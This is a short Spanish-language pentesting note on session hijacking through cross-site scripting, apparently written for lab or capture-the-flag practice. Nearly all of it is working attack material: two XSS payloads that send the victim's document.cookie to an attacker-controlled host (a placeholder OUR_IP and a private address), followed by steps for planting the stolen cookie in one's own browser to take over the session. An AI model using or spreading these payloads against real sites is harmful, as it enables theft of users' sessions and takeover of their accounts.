HiJacking (XSS)

Obtener la cookie y después, en el navegador, inspeccionar y sobreescribir la cookie en la red:

<script>new Image().src='http://OUR_IP/pep?c='+document.cookie;</script>

"><script src='http://10.10.15.176/payload.js?cookie='+document.cookie;></script>

Después abrimos el navegador, en almacenamiento damos al + y ponemos el valor de la cookie con nombre cookie.